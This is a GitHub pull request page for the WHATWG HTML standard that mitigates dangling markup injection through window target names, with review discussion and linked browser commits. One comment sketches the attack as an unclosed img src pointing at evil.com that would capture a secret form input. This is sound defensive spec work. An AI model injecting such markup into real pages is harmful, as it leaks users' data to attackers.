Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ignore dangling markup in target name #9309

Merged
merged 17 commits into from
Aug 30, 2023
Merged

Ignore dangling markup in target name #9309

merged 17 commits into from
Aug 30, 2023

Conversation

shhnjk
Copy link
Contributor

@shhnjk shhnjk commented May 18, 2023

Dangling markup injection mitigation aimed to mitigate attacks which abused URL parsers. Since then, folks have found a way to leak information using target attributes.

The usage of such target names is low. And therefore it'd be great if we can close this hole in the dangling markup injection mitigation.


/document-sequences.html ( diff )
/form-control-infrastructure.html ( diff )
/infrastructure.html ( diff )
/semantics.html ( diff )

@shhnjk
Copy link
Contributor Author

shhnjk commented May 18, 2023

CC: @mikewest.

Copy link
Member

@mikewest mikewest left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Only one substantive comment around what whitespace we're looking for. I'd defer to others around how the behavior should be described around like 89930.

(Are you by any chance interested in picking up the refactoring described in whatwg/fetch#546 (comment) to potentially get non-Chromium implementers interested?)

source Outdated Show resolved Hide resolved
source Outdated Show resolved Hide resolved
@shhnjk
Copy link
Contributor Author

shhnjk commented May 22, 2023

I've moved the logic to only take effect on html attributes (and not JS APIs likewindow.open()). PTAL :)

(Are you by any chance interested in picking up the refactoring described in whatwg/fetch#546 (comment) to potentially get non-Chromium implementers interested?)

Is the only change required just this? If so, it's a small change that I can work on.

@zcorpan
Copy link
Member

zcorpan commented May 24, 2023

Is the tab or newline check needed? It seems simpler to just check for <

@shhnjk
Copy link
Contributor Author

shhnjk commented May 24, 2023

Is the tab or newline check needed? It seems simpler to just check for <

This change follows the same logic as previous dangling markup injection mitigation. If we were to only check for <, we have to change the use counter in Chromium to see if that's compatible first.

@mikewest
Copy link
Member

@zcorpan: For URLs, checking the removable whitespace was both pragmatic (since we're already walking the string to find and remove those characters) and a good limiting function to target the worrying cases we cared about, since those were most likely to include a tag starting on a line other than the injection point. That is, distinguishing:

<img src="https://totally.reasonable/?tag=<a>">

from:

<img src="https://evil.com/?
...
<input name=sekrit value=value> 

It seems ideal from an explainability perspective to maintain the same checks in both places (assuming we can agree on the URL checks). That gives us the best chance of explaining to developers what we're doing.

@shhnjk: Agreeing on the URL checks would require different work than whatwg/url#284. That PR matches what Chromium ships, but others were concerned about adding this concept to URL, and would have preferred for it to live as a chokepoint in HTML instead. There's more more discussion necessary around that, as I'm pretty confident that the implementation is performance-critical (we had to roll it back at least once to improve performance AFAIR), and doing it at the same time that we're already walking through the URL turned out to be the best approach. So, my hope would be that we could have some sort of "removed whitespace" flag in URL, and use those in HTML (rather than Fetch). That said, this discussion is very tangential to the PR we're discussing. :)

@zcorpan
Copy link
Member

zcorpan commented May 25, 2023

@mikewest ok. Many sites use minimizers and therefore no tabs or newlines, and so would still be vulnerable, right? Maybe any ASCII whitespace and < would still catch injection in minimized HTML but allow legitimate URLs (since they shouldn't contain any whitespace).

@mikewest
Copy link
Member

I'm happy to explore other heuristics. Just using URL's list of removable whitespace and < was one approach we were able to ship successfully for fetches in Chrome. If other combinations of whitespace and < are preferable, we can probably try to gather metrics (though I worry a bit about the cost of putting more branches into our URL parser, which turns out to be important to keep fast).

chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request May 25, 2023
Implementation for whatwg/html#9309.

Bug: 1421440
Change-Id: I704ecbc0f18e48c32966a77bae2307e96eb44073
source Outdated Show resolved Hide resolved
source Outdated Show resolved Hide resolved
source Outdated Show resolved Hide resolved
source Outdated Show resolved Hide resolved
@annevk
Copy link
Member

annevk commented May 26, 2023

You also forgot about the formtarget attribute. We probably want to restructure "get an element's target" to make that less likely going forward. Perhaps it should take a target value as argument as well and in that case only the validation happens.

aarongable pushed a commit to chromium/chromium that referenced this pull request May 27, 2023
Implementation for whatwg/html#9309.

Bug: 1421440
Change-Id: I704ecbc0f18e48c32966a77bae2307e96eb44073
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4553305
Commit-Queue: Jun Kokatsu <jkokatsu@google.com>
Reviewed-by: Mike West <mkwst@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1150017}
chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request May 27, 2023
Implementation for whatwg/html#9309.

Bug: 1421440
Change-Id: I704ecbc0f18e48c32966a77bae2307e96eb44073
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4553305
Commit-Queue: Jun Kokatsu <jkokatsu@google.com>
Reviewed-by: Mike West <mkwst@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1150017}
chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request May 27, 2023
Implementation for whatwg/html#9309.

Bug: 1421440
Change-Id: I704ecbc0f18e48c32966a77bae2307e96eb44073
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4553305
Commit-Queue: Jun Kokatsu <jkokatsu@google.com>
Reviewed-by: Mike West <mkwst@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1150017}
@shhnjk
Copy link
Contributor Author

shhnjk commented May 30, 2023

You also forgot about the formtarget attribute. We probably want to restructure "get an element's target" to make that less likely going forward. Perhaps it should take a target value as argument as well and in that case only the validation happens.

Since formtarget must have values that are valid navigable target names or keywords, I think that should be covered by the change we are making to the valid navigable target name?

@annevk
Copy link
Member

annevk commented May 31, 2023

Validity requirements don't affect user agents. Just conformance checkers.

@shhnjk
Copy link
Contributor Author

shhnjk commented Jun 6, 2023

Validity requirements don't affect user agents. Just conformance checkers.

Thanks for the info! Added the change you've suggested. PTAL 😊

@shhnjk
Copy link
Contributor Author

shhnjk commented Jul 10, 2023

I think it doesn't make sense to tighten the mitigation just for target attributes, if the URL parser is still checking for newlines and <.

That never got standardized however. I guess I'm willing to trust Chromium is willing to see that through and merge this with that understanding though.

That would be great. It doesn't seem like I can fork whatwg/html twice at the same time, so I'd like to merge this change and start freshly for whatwg/fetch#546.

webkit-commit-queue pushed a commit to sideshowbarker/WebKit that referenced this pull request Aug 22, 2023
https://bugs.webkit.org/show_bug.cgi?id=257349

Reviewed by Chris Dumez.

whatwg/html#9309

* LayoutTests/imported/w3c/resources/import-expectations.json:
* LayoutTests/imported/w3c/web-platform-tests/html/browsers/windows/dangling-markup-window-name.tentative-expected.txt: Added.
* LayoutTests/imported/w3c/web-platform-tests/html/browsers/windows/dangling-markup-window-name.tentative.html: Added.
* LayoutTests/imported/w3c/web-platform-tests/html/browsers/windows/resources/window-name.sub.html:
* LayoutTests/imported/w3c/web-platform-tests/html/browsers/windows/w3c-import.log:
* LayoutTests/tests-options.json:
* Source/WebCore/dom/Element.cpp:
(WebCore::Element::makeTargetBlankIfHasDanglingMarkup const):
* Source/WebCore/dom/Element.h:
* Source/WebCore/html/HTMLAnchorElement.cpp:
(WebCore::HTMLAnchorElement::effectiveTarget const):
* Source/WebCore/html/HTMLFormElement.cpp:
(WebCore::HTMLFormElement::effectiveTarget const):

Canonical link: https://commits.webkit.org/267154@main
@shhnjk
Copy link
Contributor Author

shhnjk commented Aug 22, 2023

@annevk, it looks like Webkit already made a change based on this spec. However, Blink have not yet made this change due to pending approval for this PR. Could you PTAL and let me know if there's anything I can do to help approve this PR? Thanks in advance! 🙂

Copy link
Member

@annevk annevk left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You need to rebase this to ensure all the CI checks start running properly again. git rebase main followed by git push --force should do the trick. Then address the nits in a new commit.

I'll aim to have this merged next week at the latest. Thanks for your patience!

source Outdated Show resolved Hide resolved
source Outdated Show resolved Hide resolved
source Outdated Show resolved Hide resolved
@annevk
Copy link
Member

annevk commented Aug 26, 2023

You need to fully rebase this as I suggested. PR Preview doesn't build at the moment and I suspect it's because of that.

@shhnjk
Copy link
Contributor Author

shhnjk commented Aug 28, 2023

You need to fully rebase this as I suggested. PR Preview doesn't build at the moment and I suspect it's because of that.

I tried git rebase main and git push --force but it just says Everything up-to-date. I also tried this and it seems to build successfully.

@shhnjk
Copy link
Contributor Author

shhnjk commented Aug 28, 2023

PR Preview now works!

@annevk
Copy link
Member

annevk commented Aug 30, 2023

Thanks, is there a PR to rename the test away from tentative?

Copy link
Member

@annevk annevk left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please double check the nits I pushed.

@shhnjk
Copy link
Contributor Author

shhnjk commented Aug 30, 2023

Thanks, is there a PR to rename the test away from tentative?

No there isn't, but I can work on it 🙂

Please double check the nits I pushed.

LGTM! I not authorized to merge this PR so please feel free to do so!

@annevk annevk merged commit 8b9a675 into whatwg:main Aug 30, 2023
2 checks passed
@annevk
Copy link
Member

annevk commented Aug 30, 2023

Thanks @shhnjk! Looking forward to the follow-up work around URLs.

chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request Aug 30, 2023
Since the dangling markup in target name is merged to the html spec[1],
let's remove the tentative name from the test.

[1] whatwg/html#9309

Bug: 1421440
Change-Id: I75a47e0c155cd81f72eafe45a9118a93b8904ba7
chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request Aug 30, 2023
Since the dangling markup in target name is merged to the html spec[1],
let's remove the tentative name from the test.

[1] whatwg/html#9309

Bug: 1421440
Change-Id: I75a47e0c155cd81f72eafe45a9118a93b8904ba7
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4827645
Auto-Submit: Jun Kokatsu <jkokatsu@google.com>
Reviewed-by: Yifan Luo <lyf@chromium.org>
Commit-Queue: Yifan Luo <lyf@chromium.org>
Commit-Queue: Jun Kokatsu <jkokatsu@google.com>
Cr-Commit-Position: refs/heads/main@{#1190256}
aarongable pushed a commit to chromium/chromium that referenced this pull request Aug 30, 2023
Since the dangling markup in target name is merged to the html spec[1],
let's remove the tentative name from the test.

[1] whatwg/html#9309

Bug: 1421440
Change-Id: I75a47e0c155cd81f72eafe45a9118a93b8904ba7
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4827645
Auto-Submit: Jun Kokatsu <jkokatsu@google.com>
Reviewed-by: Yifan Luo <lyf@chromium.org>
Commit-Queue: Yifan Luo <lyf@chromium.org>
Commit-Queue: Jun Kokatsu <jkokatsu@google.com>
Cr-Commit-Position: refs/heads/main@{#1190256}
chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request Aug 30, 2023
Since the dangling markup in target name is merged to the html spec[1],
let's remove the tentative name from the test.

[1] whatwg/html#9309

Bug: 1421440
Change-Id: I75a47e0c155cd81f72eafe45a9118a93b8904ba7
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4827645
Auto-Submit: Jun Kokatsu <jkokatsu@google.com>
Reviewed-by: Yifan Luo <lyf@chromium.org>
Commit-Queue: Yifan Luo <lyf@chromium.org>
Commit-Queue: Jun Kokatsu <jkokatsu@google.com>
Cr-Commit-Position: refs/heads/main@{#1190256}
moz-v2v-gh pushed a commit to mozilla/gecko-dev that referenced this pull request Sep 13, 2023
… a=testonly

Automatic update from web-platform-tests
Rename dangling-markup-window-name test

Since the dangling markup in target name is merged to the html spec[1],
let's remove the tentative name from the test.

[1] whatwg/html#9309

Bug: 1421440
Change-Id: I75a47e0c155cd81f72eafe45a9118a93b8904ba7
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4827645
Auto-Submit: Jun Kokatsu <jkokatsu@google.com>
Reviewed-by: Yifan Luo <lyf@chromium.org>
Commit-Queue: Yifan Luo <lyf@chromium.org>
Commit-Queue: Jun Kokatsu <jkokatsu@google.com>
Cr-Commit-Position: refs/heads/main@{#1190256}

--

wpt-commits: 1b0f7bb302766bb65125a7fb7c6732d6f41f86ce
wpt-pr: 41718
vinnydiehl pushed a commit to vinnydiehl/mozilla-unified that referenced this pull request Sep 14, 2023
… a=testonly

Automatic update from web-platform-tests
Rename dangling-markup-window-name test

Since the dangling markup in target name is merged to the html spec[1],
let's remove the tentative name from the test.

[1] whatwg/html#9309

Bug: 1421440
Change-Id: I75a47e0c155cd81f72eafe45a9118a93b8904ba7
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4827645
Auto-Submit: Jun Kokatsu <jkokatsu@google.com>
Reviewed-by: Yifan Luo <lyf@chromium.org>
Commit-Queue: Yifan Luo <lyf@chromium.org>
Commit-Queue: Jun Kokatsu <jkokatsu@google.com>
Cr-Commit-Position: refs/heads/main@{#1190256}

--

wpt-commits: 1b0f7bb302766bb65125a7fb7c6732d6f41f86ce
wpt-pr: 41718
Lightning00Blade pushed a commit to Lightning00Blade/wpt that referenced this pull request Dec 11, 2023
Since the dangling markup in target name is merged to the html spec[1],
let's remove the tentative name from the test.

[1] whatwg/html#9309

Bug: 1421440
Change-Id: I75a47e0c155cd81f72eafe45a9118a93b8904ba7
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4827645
Auto-Submit: Jun Kokatsu <jkokatsu@google.com>
Reviewed-by: Yifan Luo <lyf@chromium.org>
Commit-Queue: Yifan Luo <lyf@chromium.org>
Commit-Queue: Jun Kokatsu <jkokatsu@google.com>
Cr-Commit-Position: refs/heads/main@{#1190256}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants